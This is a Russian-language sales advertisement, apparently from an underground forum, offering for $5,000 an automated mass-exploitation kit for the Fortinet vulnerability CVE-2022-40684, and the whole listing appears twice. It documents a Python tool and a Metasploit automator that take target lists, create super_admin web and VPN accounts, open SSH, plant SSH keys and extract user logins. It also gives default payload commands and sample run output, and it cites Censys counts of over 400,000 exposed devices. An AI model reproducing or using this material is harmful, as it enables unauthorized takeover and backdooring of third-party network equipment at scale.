Эксплоит Fortinet VPN CVE-2022-40684.
Эксплоит полностю автоматизирован, на вход подаётся файл с таргетами (ip:port), на выходе готовый файл с результатами в зависимости от выбраных параметров запуска эксплоита.
По результатам censys +400к устройств.
search.censys.io
Эксплоит реализован в 2 версиях.
1. Python.
2. Metasploit.
Exploit V1 (Python).
Возможности эксплоита:
- Многопоточный.
- Проверка хоста на наличие уязвимости.
- Создание VPN юзера (можно сразу к нему подключится через Forti VPN client).
- Создание WEB юзера.
- Удаление VPN юзера по его логину.
- Удаление WEB юзера по его логину.
- Открытие SSH порта для доступа извне.
- Добавление своего публичного ключа для доступа к роутеру через SSH.
- Извлечение существующих VPN логинов (без паролей и хешей).
- Запоминание места остановки эксплоита.
- Сохранение результатов работы эксплоита в файл (гуды, бэды, эрроры, уязвимые).
usage: main.py [-h] [-U USER] [-A ADMIN] [-T THREADS] [-t TIMEOUT] [-f FILE] [-du DEL_USER] [-da DEL_ADMIN] [-ch] [-ex] [-ssh]
Fortinet CVE-2022-40684 exploit.
optional arguments:
-h, --help show this help message and exit
-U USER Login. Format `username:password`
-A ADMIN Add web-admin. Format `username:password`
-T THREADS Threads number. Default: 1
-t TIMEOUT Requests timeout. Default: 15
-f FILE Targets file. Default: targets.txt
-du DEL_USER Delete user by name
-da DEL_ADMIN Delete web-admin by name
-ch Check only mode. Default: False
-ex Exctract users mode. Default: False
-ssh Open SSH port for all interface`s. Default: False
Для извлечения существующих юзеров, надо юзать -c -e вместе.
Для создания VPN юзера -U username123:password123 (без кавычек).
Для открытия SSH нужно секунд 15-20 на один хост (из за перебора всех интерфейсов на роутере).
Exploit V2 Metasploit.
Инструкция для Debian 11.
=======================
1. Установка Metasploit.
# Скачиваем официальный установочник:
wget https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
# Делаем файл исполняемым:
chmod +x ./metasploit-latest-linux-x64-installer.run
# Запускаем:
./metasploit-latest-linux-x64-installer.run
# В течение установки оставляйте все значения по умолчанию.
=======================
2. Установка библиотеки Qt5, которая требуется для запуска автоматизатора.
sudo apt update
sudo apt install qtbase5-dev
=======================
3. Выгрузка модуля Metasploit fortinet_2022_40684 на диск.
./msfauto --module ~/.msf4/modules/exploits/linux/misc/fortinet_2022_40684.rb
# msfauto - имя исполняемого файла автоматизатора. Если его имя или путь отличается, адаптируйте команду под себя.
# ~/.msf4/modules/exploits/linux/misc/ - стандартный путь Metasploit, где фреймворк найдет дополнительные модули пользователя.
# Если файл не запускается с ошибкой прав доступа, это верный знак того, что он не является исполняемым.
# Чтобы сделать файл msfauto исполняемым, выполните:
chmod +x ./msfauto
=======================
4. Общая инструкция по использованию автоматизатора.
# Получить справку можно через флаг -h или --help:
./msfauto -h
# Metasploit auto v1.0.0a
# Module: exploit/linux/misc/fortinet_2022_40684
# Usage:
# -i --input <source.txt> Input file path
# -o --output <msf_auto.txt> Output file path
# -t --threads <1> Threads count
# -p --payload <> Path to payload script
# -m --module <> Save Metasploit module file to passed path
# --default Print default payload to execute
# --forced Ignore processed list and check each address
# --host <auto> Set LHOST (external address)
# --log-level <info> Set logging level
# off * Disable logs
# error * Only critical and fatal errors
# warn * Errors and warnings
# info * Notices, warnings and errors
# debug * Very verbose log
# All processed addresses writes to .msf_auto_processed file.
# Remove it like a "rm ./.msf_auto_processed" if you want processing it again
# В угловых скобках обозначены значения по умолчанию. Если скобки пустые - значения по умолчанию нет, но флаг требует указание параметра.
# Ниже представлен подробный перевод команды --help.
# Metasploit auto v1.0.0a
# Модуль: exploit/linux/misc/fortinet_2022_40684
# Инструкция по применению:
# -i --input <source.txt> Путь до входного файла
# -o --output <msf_auto.txt> Путь до выходного файла с успешно проэксплуатируемыми адресами
# -t --threads <1> Количество потоков для работы. Рекомендуется число, не превышающее количество логических ядер компьютера
# -p --payload <> Путь до файла с командами полезной нагрузки, которые исполнятся на атакуемой машине после подключения
# -m --module <> Путь до файла, куда запишется модуль fortinet_2022_40684.rb
# --default Вывести на экран полезную нагрузку по умолчанию
# --forced Игнорировать файл с базой обработанных адресов и проверить каждый входной адрес принудительно
# --host <auto> Указать LHOST (внешний IP-адрес). В штатном режиме определяется автоматически
# --log-level <info> Изменить уровень логирования
# off * Выключить логи
# error * Только серьезные ошибки
# warn * Ошибки и предупреждения
# info * Информационные сообщения, предупреждения и ошибки (по умолчанию)
# debug * Очень подробный вывод для отладки
# Все обработанные адреса записываются в файл .msf_auto_processed. Адреса из этого файла игнорируются при повторном появлении во входном файле.
# Чтобы "забыть" историю адресов, удалите указанный файл командой "rm ./.msf_auto_processed".
# По умолчанию скрипт полезной нагрузки включает в себя одновременно команды создания пользователя для веб-доступа и VPN:
# config system admin
# edit "admin77"
# set accprofile "super_admin"
# set vdom "root"
# set password SUPERPASSWORD
# end
# config user local
# edit user77
# set type password
# set passwd SUPERPASSWORD
# end
# Чтобы задать свои учетные данные создаваемых пользователей и набор команд в целом,
# укажите путь до своего файла, в котором каждая команда начинается с новой строки.
# В качестве примера можете использовать прилагаемые файлы webaccess-payload.txt и vpnaccess-payload.txt:
./msfauto --payload ./vpnaccess-payload.txt
# Формат входного файла может быть двух видов:
# 1) "адрес:порт" с новой строки
# 2) "[2022-10-19 03:44:01] [CVE-2022-40684] [http] [critical] https://12.238.249.2:443/api/v2/cmdb/system/admin" с новой строки
# Запуск автоматизатора с указанием входного, выходного файлов и файла с полезной нагрузкой выглядит так:
./msfauto -i source.txt -o good.txt -p mypayload.txt
# Вывод утилиты при запуске имеет примерно следующий вид:
[Info]: LHOST: 13.33.135.33 - Внешний IP-адрес машины (определяется автоматически)
[Info]: Input: input.txt - Входной файл с адресами
[Info]: Output: msf_auto.txt - Выходной файл с "гудами"
[Info]: Threads: 1 - Количество потоков
[Info]: Log level: info - Уровень логирования (info - по умолчанию)
[Info]: Address list size: 51 - Количество адресов во входном файле
[Info]: Payload: - Скрипт полезной нагрузки
[Info]: > config system admin
[Info]: > edit "admin"
[Info]: > set accprofile "super_admin"
[Info]: > set vdom "root"
[Info]: > set password 123Qwe!321QWE
[Info]: > end
[Info]: > config user local
[Info]: > edit mail
[Info]: > set type password
[Info]: > set passwd 123Qwe!321QWE
[Info]: > end
[Info]:
[Info]: MetasploitProcess starting... ( LPORT: 10001 )
# В выходной файл попадают адреса в формате "адрес:порт" (каждый с новой строки), к которым удалось подключение и исполнение всех заданных команд.
# Выходной файл читается при запуске автоматизатора и все адреса из него игнорируются при работе, как ранее обработанные.
Внимание, автор не несёт ответстенность за неправомерный доступ к чужому оборудованию при использовании данного продукта, матерял предоставляется только в ознакомительных целях.
Используйте данное ПО только для пентеста вашей инфраструктуры.
Перед покупкой, могу чекнуть ваши айпи на наличие уязвимости.
Цена 5к$.
Эксплоит полностю автоматизирован, на вход подаётся файл с таргетами (ip:port), на выходе готовый файл с результатами в зависимости от выбраных параметров запуска эксплоита.
По результатам censys +400к устройств.
("Fortinet FortiOS") and services.software.product=`FortiOS` - Host Search - Censys
Censys helps organizations, individuals, and researchers find and monitor every server on the Internet to reduce exposure and improve security.
Эксплоит реализован в 2 версиях.
1. Python.
2. Metasploit.
Exploit V1 (Python).
Возможности эксплоита:
- Многопоточный.
- Проверка хоста на наличие уязвимости.
- Создание VPN юзера (можно сразу к нему подключится через Forti VPN client).
- Создание WEB юзера.
- Удаление VPN юзера по его логину.
- Удаление WEB юзера по его логину.
- Открытие SSH порта для доступа извне.
- Добавление своего публичного ключа для доступа к роутеру через SSH.
- Извлечение существующих VPN логинов (без паролей и хешей).
- Запоминание места остановки эксплоита.
- Сохранение результатов работы эксплоита в файл (гуды, бэды, эрроры, уязвимые).
usage: main.py [-h] [-U USER] [-A ADMIN] [-T THREADS] [-t TIMEOUT] [-f FILE] [-du DEL_USER] [-da DEL_ADMIN] [-ch] [-ex] [-ssh]
Fortinet CVE-2022-40684 exploit.
optional arguments:
-h, --help show this help message and exit
-U USER Login. Format `username:password`
-A ADMIN Add web-admin. Format `username:password`
-T THREADS Threads number. Default: 1
-t TIMEOUT Requests timeout. Default: 15
-f FILE Targets file. Default: targets.txt
-du DEL_USER Delete user by name
-da DEL_ADMIN Delete web-admin by name
-ch Check only mode. Default: False
-ex Exctract users mode. Default: False
-ssh Open SSH port for all interface`s. Default: False
Для извлечения существующих юзеров, надо юзать -c -e вместе.
Для создания VPN юзера -U username123:password123 (без кавычек).
Для открытия SSH нужно секунд 15-20 на один хост (из за перебора всех интерфейсов на роутере).
Exploit V2 Metasploit.
Инструкция для Debian 11.
=======================
1. Установка Metasploit.
# Скачиваем официальный установочник:
wget https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
# Делаем файл исполняемым:
chmod +x ./metasploit-latest-linux-x64-installer.run
# Запускаем:
./metasploit-latest-linux-x64-installer.run
# В течение установки оставляйте все значения по умолчанию.
=======================
2. Установка библиотеки Qt5, которая требуется для запуска автоматизатора.
sudo apt update
sudo apt install qtbase5-dev
=======================
3. Выгрузка модуля Metasploit fortinet_2022_40684 на диск.
./msfauto --module ~/.msf4/modules/exploits/linux/misc/fortinet_2022_40684.rb
# msfauto - имя исполняемого файла автоматизатора. Если его имя или путь отличается, адаптируйте команду под себя.
# ~/.msf4/modules/exploits/linux/misc/ - стандартный путь Metasploit, где фреймворк найдет дополнительные модули пользователя.
# Если файл не запускается с ошибкой прав доступа, это верный знак того, что он не является исполняемым.
# Чтобы сделать файл msfauto исполняемым, выполните:
chmod +x ./msfauto
=======================
4. Общая инструкция по использованию автоматизатора.
# Получить справку можно через флаг -h или --help:
./msfauto -h
# Metasploit auto v1.0.0a
# Module: exploit/linux/misc/fortinet_2022_40684
# Usage:
# -i --input <source.txt> Input file path
# -o --output <msf_auto.txt> Output file path
# -t --threads <1> Threads count
# -p --payload <> Path to payload script
# -m --module <> Save Metasploit module file to passed path
# --default Print default payload to execute
# --forced Ignore processed list and check each address
# --host <auto> Set LHOST (external address)
# --log-level <info> Set logging level
# off * Disable logs
# error * Only critical and fatal errors
# warn * Errors and warnings
# info * Notices, warnings and errors
# debug * Very verbose log
# All processed addresses writes to .msf_auto_processed file.
# Remove it like a "rm ./.msf_auto_processed" if you want processing it again
# В угловых скобках обозначены значения по умолчанию. Если скобки пустые - значения по умолчанию нет, но флаг требует указание параметра.
# Ниже представлен подробный перевод команды --help.
# Metasploit auto v1.0.0a
# Модуль: exploit/linux/misc/fortinet_2022_40684
# Инструкция по применению:
# -i --input <source.txt> Путь до входного файла
# -o --output <msf_auto.txt> Путь до выходного файла с успешно проэксплуатируемыми адресами
# -t --threads <1> Количество потоков для работы. Рекомендуется число, не превышающее количество логических ядер компьютера
# -p --payload <> Путь до файла с командами полезной нагрузки, которые исполнятся на атакуемой машине после подключения
# -m --module <> Путь до файла, куда запишется модуль fortinet_2022_40684.rb
# --default Вывести на экран полезную нагрузку по умолчанию
# --forced Игнорировать файл с базой обработанных адресов и проверить каждый входной адрес принудительно
# --host <auto> Указать LHOST (внешний IP-адрес). В штатном режиме определяется автоматически
# --log-level <info> Изменить уровень логирования
# off * Выключить логи
# error * Только серьезные ошибки
# warn * Ошибки и предупреждения
# info * Информационные сообщения, предупреждения и ошибки (по умолчанию)
# debug * Очень подробный вывод для отладки
# Все обработанные адреса записываются в файл .msf_auto_processed. Адреса из этого файла игнорируются при повторном появлении во входном файле.
# Чтобы "забыть" историю адресов, удалите указанный файл командой "rm ./.msf_auto_processed".
# По умолчанию скрипт полезной нагрузки включает в себя одновременно команды создания пользователя для веб-доступа и VPN:
# config system admin
# edit "admin77"
# set accprofile "super_admin"
# set vdom "root"
# set password SUPERPASSWORD
# end
# config user local
# edit user77
# set type password
# set passwd SUPERPASSWORD
# end
# Чтобы задать свои учетные данные создаваемых пользователей и набор команд в целом,
# укажите путь до своего файла, в котором каждая команда начинается с новой строки.
# В качестве примера можете использовать прилагаемые файлы webaccess-payload.txt и vpnaccess-payload.txt:
./msfauto --payload ./vpnaccess-payload.txt
# Формат входного файла может быть двух видов:
# 1) "адрес:порт" с новой строки
# 2) "[2022-10-19 03:44:01] [CVE-2022-40684] [http] [critical] https://12.238.249.2:443/api/v2/cmdb/system/admin" с новой строки
# Запуск автоматизатора с указанием входного, выходного файлов и файла с полезной нагрузкой выглядит так:
./msfauto -i source.txt -o good.txt -p mypayload.txt
# Вывод утилиты при запуске имеет примерно следующий вид:
[Info]: LHOST: 13.33.135.33 - Внешний IP-адрес машины (определяется автоматически)
[Info]: Input: input.txt - Входной файл с адресами
[Info]: Output: msf_auto.txt - Выходной файл с "гудами"
[Info]: Threads: 1 - Количество потоков
[Info]: Log level: info - Уровень логирования (info - по умолчанию)
[Info]: Address list size: 51 - Количество адресов во входном файле
[Info]: Payload: - Скрипт полезной нагрузки
[Info]: > config system admin
[Info]: > edit "admin"
[Info]: > set accprofile "super_admin"
[Info]: > set vdom "root"
[Info]: > set password 123Qwe!321QWE
[Info]: > end
[Info]: > config user local
[Info]: > edit mail
[Info]: > set type password
[Info]: > set passwd 123Qwe!321QWE
[Info]: > end
[Info]:
[Info]: MetasploitProcess starting... ( LPORT: 10001 )
# В выходной файл попадают адреса в формате "адрес:порт" (каждый с новой строки), к которым удалось подключение и исполнение всех заданных команд.
# Выходной файл читается при запуске автоматизатора и все адреса из него игнорируются при работе, как ранее обработанные.
Внимание, автор не несёт ответстенность за неправомерный доступ к чужому оборудованию при использовании данного продукта, матерял предоставляется только в ознакомительных целях.
Используйте данное ПО только для пентеста вашей инфраструктуры.
Перед покупкой, могу чекнуть ваши айпи на наличие уязвимости.
Цена 5к$.